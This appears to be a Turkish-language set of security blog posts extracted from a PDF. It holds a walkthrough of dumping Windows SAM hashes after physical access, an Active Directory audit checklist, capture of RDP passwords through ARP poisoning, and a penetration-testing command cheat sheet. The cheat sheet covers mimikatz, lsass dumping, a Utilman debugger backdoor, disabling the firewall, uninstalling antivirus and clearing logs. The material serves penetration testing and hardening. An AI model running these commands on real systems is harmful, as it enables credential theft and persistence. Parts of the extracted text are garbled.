Fiziksel Erişim Sağlanan Windows Sistemde Yerel Parola

Transkript

Fiziksel Erişim Sağlanan Windows Sistemde Yerel Parola
Fiziksel
Erişim
Sağlanan
Windows Sistemde Yerel Parola
Özetlerinin Elde Edilmesi
Kurumlardaki bilgisayarların fiziksel güvenliği, kritik öneme
sahiptir. Bu yazıda, gerekli önlemler alınmamış ve fiziksel
olarak erişim sağlanmış olan bir Windows 7 bilgisayarda, 2
farklı yöntem (samdump2, bkhive ve ophcrack aracı)
kullanılarak yerel kullanıcı parola özetlerinin, herhangi bir
kimlik bilgisi olmadan elde edilebileceği görülecektir.
Not: İşletim sisteminde standart yetkilere sahip bir hesap ile
oturum açık iken, SAM ve SYSTEM dosyaları elde
edilememektedir. Çünkü, standart bir hesabın bu dosyaları
erişim yetkisi yoktur. Bu yazının amacı, standart yetkilere
sahipken – hatta hiç bir yetkiye sahip değilken – fiziksel
olarak erişim sağlanan bilgisayarda yerel hesapların parola
özetlerine sahip olmaktır.
Gerçekleştirilecek çalışma 3 adımda incelenecektir.
1) İşletim Sistemine Kali ile Erişilmesi
SAM dosyalarına erişim için, NTFS ile formatlanmamış ancak
NTFS modülü olan Kali kullanılarak disk sistemine erişim
sağlanacaktır. Bu amaçla Kali ISO dosyası sanal makinenin
CD/DVD ROM’una konulur.
Bilgisayar yeniden başlatılır ve sistem harddiskten okumaya
başlamadan önce, SETUP penceresinin gelmesi için gerekli tuş
kombinasyonuna (F2 gibi) basılır.
Gelen Boot Menu penceresinde CD-ROM sürücüsü seçilir.
Kali işletim sistemi başlatılır.
Artık, harddiskteki Windows işlemine ait dosyalar değil, Kali
sürümüne ait dosyalar yüklenerek sistem açılır.
Bilgisayar açıldığında erişim sağlanan bilgisayarın harddiski
görülür.
Bu
diskin
içerisine
girildiğinde
(mount
işlemi
gerçekleştiğinde) masaüstünde de bir dosya (dizin) otomatik
olarak oluşur.
2) Birinci Yöntem: Samdump ve Bkhive Araçları İle Parola
Özetlerinin Elde Edilmesi
Mount edileren erişilen dizin içerisinde Windows işletim
sistemine ait dosyalar bulunmaktadır. Elde edeceğimiz
SAM/SYSTEM
dosyaları
Windows\System32\config
dizini
altındadır.
Bu dosyaların birer kopyası Kali bilgisayarda oturum açılan
(root) hesabın masaüstüne alınır.
Sonrasında bkhive aracıyla SYSTEM dosyasınn içerisinden SYSKEY
elde edilir.
bkhive SYSTEM SAM_Anahtari
Son olarak da bu dosya ve SAM dosyası samdump2 aracına verilir
ve yerel hesapların parola özetleri elde edilir.
samdump2 SAM SAM_Anahtari
3) İkinci Yöntem: Ophcrack Aracı İle Parola Özetlerinin Elde
Edilmesi
Mount edileren erişilen dizin içerisinde Windows işletim
sistemine ait dosyalar bulunmaktadır. Elde edeceğimiz
SAM/SYSTEM
dosyaları
Windows\System32\config
dizini
altındadır.
Bu dosyaların birer kopyası Kali bilgisayarda oturum açılan
(root) hesabın masaüstüne alınır.
Sonrasında Kali bilgisayarın menülerinden “Applications > Kali
Linux > Password Attacks > Offline Attacks > ophcrack”
adımları izlenerek Ophcrack aracının arayüzü elde edilir.
Aynı arayüze Kali komut satırından da erişilebilir.
Ophcrack arayüzünde ilen “Load > Encrypted SAM” adımları
izlenerek SAM/SYSTEM dosyaları yüklenebilir.
SAM/SYSTEM dosyaları masaüstünden alınır.
Böylece yerel hesapların parola özetleri elde edilmiştir.
Bu bilgiler arayüzde “Save > Save To File” adımları izlenerek
kaydedilir.
Dosyanın kaydedilecek dizin ve dosya ismi belirtilir.
Parola özetlerinin
gibidir:
kaydedildiği
dosya
içeriği
aşağıdaki
Aktif Dizin Nesnelerine Ait
Denetimler
İçin
Temel
Kontroller
Etki alanı kurumlar için oldukça kritiktir, bu sebeple
güvenliğinin korunması için bazı önlemlerin alınması
gereklidir. Bu yazıda, Aktif Dizin üzerindeki nesnelerin
güvenliği için gerekli kontrol maddeleri incelenecektir.
Etki
alanı
(Domain),
bir
grup
bilgisayarın
bir
araya
gelmesiyle oluşan belli kurallar ve prosedürlerle bir
merkezden yönetilen mantıksal bir yapıdır. Orta ve büyük
ölçekli bütün kurumlarda sistemlerin neredeyse tamamı
Microsoft etki alanı yapısıyla direk olarak yönetilirler veya
etki alanındaki nesneler (sistem yöneticilerinin hesabı vs.)
tarafından dolaylı olarak yönetilirler. Bu sebeple, etki
alanının güvenilir bir şekilde oluşturulması, yönetilmesi ve
korunması kurum için oldukça önemlidir. Etki alanı güvenliğini
sağlamak ve kurum etki alanındaki sistemlere karşı
yapılabilecek saldırılar için alınması gereken temel önlemler
“Etki Alanı Saldırılarına Karşı Temel Korunma Yöntemleri”
yazılarında [1] [2] özetlenmişti. Bu yazıda ise etki
alanındaki nesnelerin yönetildiği dizin hizmeti olan Aktif
Dizin denetimleri incelenecektir.
Kontrol maddelerinde ne yapılması gerektiği üzerinde durulmuş
olup, nasıl yapılacağı konusu sistem yöneticilerine
bırakılmıştır. Kontrol maddelerinde belirtilen nesnelerin
otomatik olarak nasıl tespit edileceği ile ilgili internet
üzerinde – başta Powershell olmak üzere – bir çok betik
bulunabilir. Ayrıca aşağıdaki maddeleri ve çok daha fazlasını
gerçekleştirebilen
otomatik
denetim
araçları
da
kullanılabilir.
Denetim sonucunda gerçekleştirilmesi gereken işlemler kurum
politikasında belirtilmelidir. Örneğin, uzun süre oturum
açmayan kullanıcı hesapları tespit edildikten sonra bu
hesaplar belli bir süre boyunca devre dışı bırakılabilir ve
bir süre sonra da tamamen silinebilir. Benzer olarak tespit
edilen nesnelerin ne zaman, hangi kullanıcı tarafından
oluşturulduğu da incelenebilir.
Aktif Dizin güvenliği için kontrol edilebilecek temel maddeler
aşağıdaki gibidir:
1) Ortak Hesap Kullanan Kullanıcı Hesapları
Ortak hesap kullanımı özellikle yardım masası veya teknik
destek gibi vardiyalı çalışan bölümlerde sık karşılaşılabilen
durumlardandır,kurum içerisinde ortak kullanılan kullanıcı
hesapları tespit edilmelidir. Aksi halde işlemi gerçekleştiren
kullanıcının kimliğinin tespit edilmesi kaydı tutulan başka
faktörlerle (IP adresi, çalışılan saat dilimi, …) mümkün
olabilmektedir.
2) Uzun Süredir Oturum Açmamış Kullanıcı Hesapları
Kurum içerisinde uzun bir süre (3 hafta gibi) oturum açmayan
kullanıcı hesapları tespit edilmelidir. Bu süre kurum
politikasına göre değişiklik gösterebilir. Tatil izinleri,
yurt dışı gezileri gibi durumlar göz önüne alınarak bu süre ve
kapsam belirlenmelidir.
3) Parolasını Hiç Değiştirmemiş Olan Kullanıcı Hesapları
Bir çok kurumda bir kullanıcı hesabı oluşturulurken standart
bir parola ile oluşturulurlar. Bu parola o hesabın sahibi olan
kullanıcı
tarafından
ilk
oturumda
değiştirilmesi
gerekmektedir. Parolasını hiç değiştirmemiş olan kullanıcı
hesapları tespit edilmelidir.
4) Uzun Süredir Parolasını Değiştirmeyen Kullanıcı Hesapları
Kurum politikasına uygun olacak şekilde kurum içerisinde bir
parola politikası oluşturulmalı ve uygulanmalıdır. Parola
politikasında parola değiştirme süresi için uygun bir değer
verilmelidir. Belirlenen süre boyunca parolasını değiştirmeyen
kullanıcı hesapları tespit edilmelidir. Uzun süredir
parolasını değiştirmeyen ve parolası saldırganlar tarafından
bir şekilde ele geçirilmiş olan bu kullanıcı hesapları etki
alanına karşı gerçekleştirilebilecek sonraki saldırılarda
kullanılabilmektedir.
5) Parolasını Değiştiremeyen Kullanıcı Hesapları
Uygulama/servis kullanıcıları veya belirli sebeplerle bazı
kullanıcı hesaplarının parolalarının değiştirilmemesi
gerekebilmektedir. Parolasını
hesapları tespit edilmelidir.
değiştiremeyen
kullanıcı
6) Parola Değiştirmesi Zorunlu Olmayan Kullanıcı Hesapları
Başta uygulama ve servis kullanıcı hesapları olmak üzere,
parola politikasına rağmen parola değiştirmesi zorunlu olmayan
kullanıcı hesapları tespit edilmelidir.
7) Parolası Sona Ermeyen Kullanıcı Hesapları
Parola politikasına rağmen parolası sona ermeyen kullanıcı
hesapları tespit edilmelidir. Özellikle uygulama ve servis
kullanıcı hesaplarında görülen bu durum saldırı yüzeyini
arttırmaktadır.
8) Parolası Olmayan Kullanıcı Hesapları
Parola politikası sebebiyle, kurumlarda çok sık karşılaşılan
bir durum olmasa da, parolası boş olan kullanıcı hesaplarının
varlığı tespit edilmelidir.
9) Parolası Olmak Zorunda Olmayan Kullanıcı Hesapları
Önceki kontrol maddesine benzer olarak, parolası olmak zorunda
olmayan kullanıcı hesapları tespit edilmelidir.
10) Süresi Geçmiş Kullanıcı Hesapları
Kurum politikası gereği bazı kullanıcı hesapları (danışman,
sistem
destek,
stajyer
vs)
süreli
olarak
oluşturulabilmektedir. Bu süre sonrasında bu hesaplar ile
işlem yapılamamaktadır. Kurumda süresi geçmiş olan (expire)
kullanıcı hesapları tespit edilmelidir.
11) İşten Ayrılmış Kullanıcı Hesapları
Kurumların çoğunda merkezi kimlik yönetimi henüz tam anlamıyla
aktif bir şekilde kullanılmamaktadır. İşten ayrılmış olan
kullanıcı hesabı ile gerçekleştirilebilecek işlemler sonucunda
kurum ve kurum çalışanları zor durumda kalabilmektedir. Bu
sebeple, kurum ile ilişkisi kesilen kullanıcı hesapları tespit
edilmelidir. Bunun yanında yetkilendirme işlemleri için
kullanıcıdan bağımsız tasarımların kullanılması [3] [4]
güvenliği arttırmaktadır.
12) Kurum Personeli Olmayan Kullanıcı Hesapları
Danışmanlık, sistem destek, stajyerlik gibi sebeplerle etki
alanında oluşturulan kullanıcı hesapları tespit edilmelidir.
Bu hesaplar oluşturulurken süreli bir şekilde oluşturulması
tavsiye edilmektedir. Ayrıca bu hesaplar için özel yapısal
birimlerin (OU) oluşturulması ve bu OU altındaki nesnelere
sıkılaştırılmış grup ilkelerinin uygulanması tavsiye
edilmektedir.
13) “Users” Konteynırında Bulunan Kullanıcı Hesapları
Bir kullanıcı oluşturulduğunda varsayılan olarak “Users” adlı
verilen konteynır altında oluşmaktadır. Bir konteynır
içerisindeki nesnelere varsayılan grup ilkeleri uygulandığı
için “Users” altında kullanıcı hesabının bulunması kontrol
eksiliğine sebep olmaktadır. Bu sebeple, “Users” konteynırında
bulunan kullanıcı hesapları tespit edilmelidir. Etki alanına
yeni eklenen kullanıcı hesapları üzerindeki denetimleri
arttırmak için ve etki alanına eklenen ancak henüz faal
olmayan nesneleri daha iyi takip edebilmek için; bu hesapların
sıkılaştırılmış bir OU altında oluşturulması tavsiye
edilmektedir. Kullanıcı hesabı ile işlem yapıldıktan ve grup
ilkesi alındıktan sonra ilgili OU altına eklenmesi güvenliği
arttırmaktadır.
14) Dial-in Bağlantı Hakkı Olan Kullanıcı Hesapları
Dial-in bağlantı hakkı olan kullanıcılar tespit edilmelidir.
Uzak erişimler için dial-in bağlantı yerine kurum ihtiyacına
daha güvenilir bir şekilde cevap verecek yöntemler (SSL VPN
gibi) tercih edilmelidir.
15)
Gereksiz
Tanımlama
Bilgisine
Sahip
Olan
Kullanıcı
Hesapları
Kullanıcı hesaplarına ait bir çok bilgi, herhangi bir
kullanıcı tarafından elde edilebilmektedir. Etki alanına
gerçekleştirilen saldırılarda da bu bilgiler kullanılmaktadır.
Kullanıcı hesaplarına ait gereksiz bilgilerin Aktif Dizin
üzerinde saklanmaması tavsiye edilmektedir.
16) Eksik Tanımlama Bilgisine Sahip Olan Kullanıcı Hesapları
Denetim yönü ile ele alındığında, kurum politikası ile
belirlenmiş tanımlamalar her kullanıcı hesabında bulunmalı,
standart tanımları bulunmayan kullanıcı hesapları tespit
edilmelidir.
17) İsimlendirme Standardına Uymayan Kullanıcı Hesapları
Kurum
politikası
gereği
kullanıcı
hesaplarının
nasıl
oluşturulacağı belirlenmelidir. Sicil numarasının kullanılması
(36146), personelin ad ve soyadının farklı şekillerde
kullanılması
(remzi.karadayioglu,
rkaradayioglu,
r.karadayioglu, karadayioglu.remzi,…) bir standart olarak
belirlenmelidir. Bunun yanında aynı isim ve soy isme, iki ve
daha fazla isme veya soy isme sahip personel için de
standardın oluşturulması tavsiye edilmektedir. Belirlenen
isimlendirme standardına uymayan kullanıcı hesapları tespit
edilmelidir.
18) Kritik Gruplara Üye Olan Ortak Kullanılan Kullanıcı
Hesapları
Etki alanında bazı grupların yetkileri diğerlerinden daha
fazla öneme sahip olmaktadır. Bu gruplardan bazıları yerleşik
(built-in) gruplar (Domain Admins, Enterprise Admins, …)
olabildiği gibi, bazı gruplar (Oracle Admins, Microsoft Sistem
Yöneticileri, Aktif Cihaz Yönetim Grubu,… ) ise daha sonradan
oluşturulmuş olabilir. Etki alanında kritik yetkilere sahip
olan gruplar belirlenmeli ve bu gruplara üye olan kullanıcı
hesapları tespit edilmelidir.
19) Hiçbir Gruba Üye Olmayan Kullanıcı Hesapları
Grup üyeliği
edilmelidir.
bulunmayan
kullanıcı
hesapları
tespit
20) Üyesi Olmayan Gruplar
İçerisinde hiçbir
edilmelidir.
üyesi
olmayan,
boş
gruplar
tespit
21) İsimlendirme Standardına Uymayan Gruplar
Kullanıcı hesaplarında olduğu gibi, kurum tarafından
oluşturulmuş olan isimlendirme standardına uygulan gruplar
tespit edilmelidir.
22) Kritik Grupların Yetkilendirmeleri
Etki alanında kullanıcı yerine, grup ve rol bazlı bir
yetkilendirme yapılması gerektiği daha önceden belirtilmişti.
Bu grupların etki alanındaki yetkileri tespit edilmelidir.
23) Uzun Süredir Kullanılmayan Bilgisayar Hesapları
Kullanıcı hesaplarında olduğu gibi, uzun süredir kullanılmayan
bilgisayar hesapları tespit edilmelidir.
24) Adı Standarta Uymayan Bilgisayar Hesapları
Kullanıcı hesaplarında ve gruplarda olduğu gibi, kurum
tarafından oluşturulmuş olan isimlendirme standardına uygulan
gruplar tespit edilmelidir.
25) Devre Dışı Bırakılmış Bilgisayar Hesapları
Kullanıcı hesaplarında olduğu gibi, devre dışı (disabled)
bırakılmış olan bilgisayar hesapları tespit edilmelidir.
26) “Computers” Konteynırında Bulunan Bilgisayar Hesapları
“Users” konteynırında bulunan kullanıcı hesaplarında olduğu
gibi, “Computers” konteynırında bulunan bilgisayar hesapları
tespit edilmelidir.
27) İçerisinde Nesne Bulunmayan Yapısal Birimler
Gruplarda olduğu gibi, içerisinde hiçbir üyesi olmayan, boş
yapısal birimler (OU) tespit edilmelidir.
28) Adı Standarta Uymayan Yapısal Birimler
Kullanıcı ve bilgisayar hesaplarında, gruplarda olduğu gibi,
kurum tarafından oluşturulmuş olan isimlendirme standardına
uygulan gruplar tespit edilmelidir.
29) Site İçerisinde Belirtilmemiş Olan Yerel Ağlar
Site, birbiri ile ağ iletişimi kuvvetli olan fiziksel
yapılardır. Site, ağın hızına ve trafik kapasitesine göre
tasarlanır. Özellikle oturum açma ve replikasyon işlemlerinin
daha hızlı gerçekleşebilmesi için Site yapısının iyi
tasarlanması gerekmektedir. Bir Site içerisinde bir veya daha
fazla alt ağ (subnet) bulunabilmektedir. Böylece bir kullanıcı
aynı site içerisinde bulunduğu etki alanı denetleyicisini (DC)
kullanarak kimlik doğrulatır. Benzer olarak bir etki alanı
denetleyicisi aynı site içerisindeki bir etki alanı
denetleyicisi ile replikasyon işlemini gerçekleştirmek için
oluşturulan Site ve Subnet bilgilerini kullanılır. Aynı site
içerisinde etki alanı denetleyicisi bulunamazsa, farklı site
üzerindeki etki alanı denetleyicisi arayışında bulunulur.
Kurum içerisindeki her bir yerel ağ (LAN), içerisinde etki
alanı denetleyicisi bulundurmasa dahi, Aktif Dizin üzerinde
tanımlanması tavsiye edilmektedir. Bu sebeple, Site içerisinde
belirtilmemiş yerel ağlar tespit edilmelidir.
30) DNS Üzerinde Kaydedilmemiş Yerel Ağlar
Alan Adı Sistemi (Domain Name System – DNS); ağdaki
bilgisayarları ve ağ hizmetlerini adlandırmak için kullanılan
bir sistemdir. DNS, Aktif Dizin yapısı için zorunlu bir
roldür. Microsoft ortamlarında, istemciler ağdaki etki alanı
denetleyicilerinin ve diğer servis sunucularının yerlerini DNS
kullanarak tespit ederler. Eğer DNS üzerinde bir problem
oluşursa, erişimlerde problem yaşanacaktır. Aktif Dizin ile
entegre olarak oluşturulan Microsoft DNS üzerinde tüm yerel
ağlara ait kayıtların bulunması tavsiye edilmektedir. Bu
sebeple, DNS üzerinde kayıtlı olmayan kuruma ait yerel ağlar
tespit edilmelidir.
Sonuç
Kurum etki alanının (ve dolayısıyla kurumun) güvenliği için
alınması gereken önlemlere ek olarak, saldırı yüzeyini
daraltmak için belli aralıklarla risk analizleri ve kontroller
gerçekleştirilmelidir. Bu yazıda Aktif Dizin sıkılaştırması
için gerekli olan temel kontrol maddeleri üzerinde
durulmuştur. Bu yazıda bahsi geçen kontrol maddeleri kurum
tarafından belli periyotlarla gözden geçirilmesi, ek kontrol
maddeleri ile desteklenmesi, otomatikleştirilmesi için
betikler (Powershell gibi bir betik dili kullanılarak)
hazırlanması
veya
otomatik
olarak
bu
işlemleri
gerçekleştirebilen araçlarla denetimlerin gerçekleştirilmesi,
denetim raporu sonucuna göre gerekli iyileştirmelerin kurum
politikasına uygun olarak gerçekleştirilmesi, gerçekleştirilen
işlemlerin dokümante edilmesi tavsiye edilmektedir.
Kaynaklar:
[1]
http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/etki-alan
i-saldirilarina-karsi-temel-korunma-yontemleri-1.html
[2]
http://www.bilgiguvenligi.gov.tr/siniflandirilmamis/etki-alani
-saldirilarina-karsi-temel-korunma-yontemleri-2.html
[3] http://itfreetraining.com/70-640/agdlp/
[4] http://itfreetraining.com/70-640/agudlp/
Cain & Abel Aracıyla Windows
RDP Şifrelerini Elde Etme
Cain&Abel yani türkçesiyle Kabil ile Habil isimli bu program
çok eski bir program aslında. Programın resmi sitesinde
Microsoft İşletim Sistemlerinin şifre kurtarma amacıyla
geliştirildiği yazıyor. Lakin program şifre kurtarma dışında
ağ üzerinde her türlü saldırı işlemlerini yapabilecek şekilde
geliştirilmiş.
Öyle
ki
yüklerken
meşhur
packet
capture
programı winpcap olmadan yüklenmiyor.
Yönetici yetkileri
olmadan da çalıştırılamıyor. Programın son versiyonu Windows
XP zamanından kalma olsa da şimdi bile çok etkili şekilde
şifre kırma işlemleri,ağ dinleme vb. birçok işlemi
gerçekleştirmek üzere tasarlanmış.Adeta yerel ağda kullanılmak
üzere geliştirilmiş kötücül bir İsviçre çakısı.
Cain&Abel ile RDP şifrelerinin elde edilmesi adımları:
Menüden Configure kısmından Sniffer tabında sniffer ayarları
görülmektedir.
APR sekmesinde ise ARP zehirleme ile ilgili konfigürasyonlar
görülmektedir.
İlk önce Cain&Abel programıyla start sniffer butonuna
tıklamamız gerekiyor. Sarı radyasyon uyarı botununa benzeyen
butonun solundaki buton start sniffer butonudur.
Daha sonra Sniffer kısmından
sağ tuş yapıp SCAN MAC
ADDRESSES’İ seçerek aşağıdaki çıkan ekrandaki gibi
subnet’imizde yer alan bilgisayarları taramamız gerekmektedir.
Tarama sonucunda bulunan
listelenmektedir:
MAC
adresleri
aşağıdaki
gibi
ARP zehirleme işlemine başlamak için APR kısmına geçilir, Sarı
radyasyon uyarı butonuna benzeyen buton tıklanır.Daha sonra
mavi “artı işareti tıklanarak” zehirlenecek hedefler
belirlenir.Aşağıdaki resimde zehirlenecek bilgisayarlar olarak
192.168.160.138 ile 192.168.160.154 arasındaki trafik
seçilmiştir.
Zehirleme
işlemi
çift
yönlü
olarak
gerçekleştirilmektedir.
Zehirleme işlemi başlatılmış ve iki bilgisayar arasında
RDP(uzak masaüstü) bağlantısı trafiği oluşması beklenmektedir.
Windows 7 yüklü bilgisayardan Windows Server 2012 yüklü
bilgisayara uzak masaüstü bağlantısı gerçekleştirilmiştir.
Windows 7 bilgisayarından uzak masaüstü bağlantısı için
kullanıcı adı ve şifre girme işlemi gerçekleştirilmiştir.
Uzak
masaüstü
bağlantısı
gerçekleştirilmiştir.
başarılı
bir
şekilde
Aşağıdaki ekran görüntüsünde Cain&Abel programının zehirlediği
bilgisayarlar üzerindeki RDP bağlantısındaki şifreyi kırma anı
görülmektedir.
Şifre başarılı bir şekilde kırılmıştır ve RDPv4 yazan yerde
sağ tuş yapılarak kırılan parola görülebilmektedir.
Aşağıda cmd.exe üzerinden kırılan parolanın komut satırından
görüntülenmesi işlemi gerçekleştirilmiştir.
Etki Alanı Sızma Testleri
İçin Windows Komut Satırı
İşlemleri
Sızma testleri sırasında ele geçirilen bir Windows işletim
sisteminde komut satırı ile bazı işlemlerin yapılması
gerekebilmektedir. Bu yazıda, sızma testlerinde Windows
işletim sistemi üzerinde çalıştırılabilecek temel komutlar
çeşitli başlıklar altında incelenecektir.
Kullanıcı ve Grup İşlemleri >
Yerel bilgisayarda kullanıcı işlemleri
whoami
echo %username%
echo %computername%%username%
whoami /all
net user
net user Ali
net
net
net
net
user
user
user
user
Ali /Active:Yes
Ali Aa123456
Ali /del
Burak Bb123456 /add
Yerel bilgisayarda grup işlemleri
net localgroup
net localgroup “Remote Desktop Users”
net localgroup “Sistem Yoneticileri” /add
net localgroup “Sistem Yoneticileri” /del
net localgroup Administrators Burak /add
net localgroup Users Burak /del
Etki alanındaki kullanıcı işlemleri
net
net
net
net
net
net
user
user
user
user
user
user
/domain
Cihan.Ozgullu /domain
Cihan.Ozgullu /Active:Yes /domain
Cihan.Ozgullu Cc123456 /domain
Cihan.Ozgullu /del /domain
Deniz.Kirmizili Dd123456 /add /domain
Etki alanındaki grup işlemleri
net group /domain
dsquery group -limit 0 | dsget group -members –expand
net group “Domain Computers” /domain
net group “Yardim Masasi” /add /domain
net group “Yardim Masasi” /del /domain
net group “Domain Admins” Cihan.Ozgullu /add /domain
net group “Domain Users” Deniz.Kirmizili /del /domain
for
/f
“delims=”
%X
in
(DomainAdminsGrubuUyeleri_Listesi.txt) do net user %X
/domain >> DomainAdminsGrubuUyelerininIlkeBilgileri.txt
Not: Girdi dosyasında (DomainAdminsGrubuUyeleri_Listesi.txt),
kullanıcı isimleri alt alta yazılıdır.
Bilgisayar İşlemleri >
Mevcut sistem bilgileri
systeminfo
ver
echo %LOGONSERVER%
systeminfo | findstr “Domain:”
fsutil fsinfo drives
net view
net config WORKSTATION
getmac
Başlangıç dizinleri
Windows 6.0 ve 6.1
Tüm
kullanıcılar
için:
%SystemDrive%\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup
Belirli
kullanıcılar
için:
%SystemDrive%\Users\%UserName%\AppData\Roaming\Mic
rosoft\Windows\Start Menu\Programs\Startup
Windows NT 5.0, 5.1 ve 5.2
%SystemDrive%\Documents and Settings\ All Users\
Start Menu\Programs\Startup
Hesap politikası işlemleri
net accounts
net accounts /MAXPWAGE:3
Denetim politikası işlemleri
auditpol /get /category:*
auditpol
/set
/subcategory:”IPsec
/success:enable /failure:disable
Driver”
Paylaşım işlemleri
net share
net
share
/GRANT:Everyone,Full
YeniPaylasim=C:UsersDeneme
Oturum bilgileri
query session
qwinsta
psloggedon -l Ertan
Get-WmiObject -Class Win32_NetworkLoginProfile | SortObject -Property LastLogon -Descending | Select-Object Property * -First 1 | Where-Object {$_.LastLogon -match
“(d{14})”} | Foreach-Object { New-Object PSObject Property
@{
Name=$_.Name;LastLogon=[datetime]::ParseExact($matches[0
], “yyyyMMddHHmmss”, $null)}}
Proses işlemleri
tasklist /v
tasklist /SVC | findstr /I “explorer.exe”
tasklist /fi “pid eq 460”
wmic process where (executablepath like “%system32%” and
name!=”svchost.exe” or Priority = “8” ) get HandleCount,
Name, ParentProcessId, Priority, ProcessId, ThreadCount
/Every:3 > CalisanProseslerinDetaylari.txt
taskkill /F /T /IM filezillaftp.exe
taskkill /PID 1862 /F
qprocess explorer.exe
qprocess akif.cihangir
wmic process call create calc
wmic process where name=”calc.exe” call terminate
Kayıt değeri işlemleri
reg query HKLM\System\CurrentControlSet\Control\Lsa /v
crashonauditfail
reg
query
“HKCU\Software\SimonTatham\PuTTY\Sessions\PuttyUzerindeK
ayitliOturumAdi” /v Hostname
reg
add
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Ter
minal Server” /v fDenyTSConnections /t REG_DWORD /d 1 /f
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD
/d 12345 /f
reg save HKLM\SAM C:\SAMDosyasi
reg
add
“HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image
File
Execution
Options\Utilman.exe” /v Debugger /t REG_SZ /d
“C:\Windows\System32\cmd.exe” /f
reg
export
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Ter
minal Server” Sonuc.reg
reg import Sonuc.reg
Ağ hareketleri
netstat -ano
netstat -ano -p TCP | findstr 3389 | findstr /v
0.0.0.0:3389
netstat -abf
Yönlendirme işlemleri
netstat -r
route print -4
route add 192.168.10.0 MASK 255.255.255.0 192.168.10.1
route del 192.168.10.0
Kablosuz ağ işlemleri
netsh wlan show profiles
netsh wlan show profile name=ModemSSID
netsh wlan show profile name=ModemSSID key=clear |
findstr “Key Content”
Dosya
dizini:
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\XXX
Ağ işlemleri
ipconfig /all
arp -a
nslookup www.hotmail.com 8.8.8.8
tftp -I 192.168.64.26 GET Uygulama.exe
netsh interface ipv4 set address name=”Local Area
Connection”
source=static
address=10.12.40.110
mask=255.255.255.0 gateway=10.12.40.1
netsh interface ipv4 add dnsservers “Local Area
Connection” 172.19.35.80
netsh interface portproxy add v4tov4 listenport=3000
listenaddress=1.1.1.1
connectport=4000
connectaddress=2.2.2.2
type C:\Windows\System32\Drivers\etc\hosts
DNS bilgileri
ipconfig /displaydns
ipconfig /flushdns
Dosya ve klasör işlemleri
dir /a C:\Users\Mehmet\Downloads\*.pdf
tree /f /a
dir /s /b
findstr /si “parola sifre password root admin”
icalcs C:\Users\Ahmet\Desktop\KritikKlasor –> icalcs:
Sysinternals aracı
forfiles /P d: /D -30 /S /M *.exe /C “cmd /c echo @path
@ext @fname @fdate”
Get-ChildItem -Path C:\Users, C:\Araclar -Include *.txt,
*.log, *.bat, *.reg, *.cs, *.sql, *.ps1, *.config,
*.properties, *.xml, *.conf -Recurse -ErrorAction
SilentlyContinue -Force | Select-String -Pattern
Password, password, Şifre, şifre, Parola, parola, Sifre,
sifre,
root,
admin
-casesensitive
>
C:\KritikBilgiler.txt
Zamanlanmış görevler
schtasks /query /fo LIST /v | findstr “Folder: HostName:
Author: Run: TaskName: Comment:”
schtasks /Create /SC Daily /TN GunlukKullaniciListesi
/TR “C:\Windows\System32\net.exe user”
at /interactive 15:00 cmd.exe
net time
Servis işlemleri
sc query state= all
sc queryex (PID değeri de içerir)
sc qc TermService
accesschk -cqwvu TrustedInstaller –> accesschk:
Sysinternals aracı
wmic service get name, displayname, started, state,
AcceptPause, AcceptStop | findstr /C:Term
net stop PolicyAgent
net start termservice start= auto
sc config PlugPlay start= disabled
sc create ServisAdi binpath=C:\Users\UygulamaDosyasi.exe
start= auto
Not: Power, PlugPlay gibi kapatılamayan servisler devre dış
bırakılıp, makine yeniden başlatılırsa bu servis çalışmaz.
Güvenlik duvarı işlemleri
netsh firewall set service remotedesktop enable
netsh firewall show opmode
netsh firewall add portopening TCP 12345 “12345 Portunu
Acan Kural” Enable All
netsh firewall show portopening
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh advfirewall set currentprofile state off
netsh firewall set logging droppedpackets = enable
netsh firewall set logging connections = enable
Logların
düştüğü
dizin:
%systemroot%System32LogFilesFirewallpfirewall.log
Programlar ve özellikler
wmic product get name
wmic product where name=”Kaspersky Internet Security”
call uninstall /nointeractive
Dism.exe /online /Get-Features /Format:Table
Dism.exe /online /Enable-Feature /Featurename:TFTP
pkgmgr /iu:”TelnetClient”
Başlangıç programları
wmic startup get name, user, location
Güncelleme işlemleri
wusa /uninstall /kb:2744842 /quiet /norestart
wmic qfe where HotFixID=”KB3011780″ get
HotFixID
Caption,
Log işlemleri
wevtutil qe Application /c:10 /rd:true /f:text
for /F “tokens=*” %G in (‘wevtutil.exe
(wevtutil.exe cl “%G”)
Başka bir kullanici gibi komut çalıştırma
runas /env /user:SIRKET\Levent.Altayli cmd
psexec -s cmd.exe
Oturumu kilitleme
rundll32.exe user32.dll, LockWorkStation
el’)
DO
Dosya kopyalama
copy D:\netcat.exe C:\Users
Parolaları RAM üzerinden elde etme
mimikatz > privilege::debug > sekurlsa::logonPasswords
mimikatz “sekurlsa::logonPasswords full” exit
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz
>
sekurlsa::minidump
lsass.dmp
>
sekurlsa::logonPasswords
wce -w
wce -s WORKGROUP:Administrator:<LM>:<NTLM>
Grup ilkesi işlemleri
gpupdate
gpresult
gpresult
gpresult
/force
/z
/H Politika.html
/USER Ferdi.Murathan /SCOPE COMPUTER /Z
Posta işlemleri
dsquery user -name “user name”|dsget user -samid -email
-display
Get-Mailbox | fl name, emailaddresses
Get-QADUser -SizeLimit 0 -Enabled -Email * | SelectObject DisplayName,Email
Etki alanı güven ilişkileri
nltest /domain_trusts –> Tüm güven ilişkilerini listeler
nltest /dcname:Sirket –> Belli bir etki alanındaki PDC
sunucusunu sorgular.
([System.DirectoryServices.ActiveDirectory.Forest]::GetC
urrentForest()).Domains –> Forest (Orman) içerisindeki
tüm etki alanları listelenir.
([System.DirectoryServices.ActiveDirectory.Domain]::GetC
urrentDomain()).GetAllTrustRelationships() –> Mevcut
etki alanı için tüm güven ilişkileri (Parent-Child, 2
yönlü vs) listelenir.
Oturum açan etki alanı hesabının bilgileri
Get-EventLog security 4624 -newest 10000 | WhereObject{$_.Message -like ‘*Galip.Tekinli*’}| format-list
Message > GalipTekinliHesabininActigiOturumBilgileri.txt
Not: Belirtilen komut
çalıştırılmalıdır.
etki
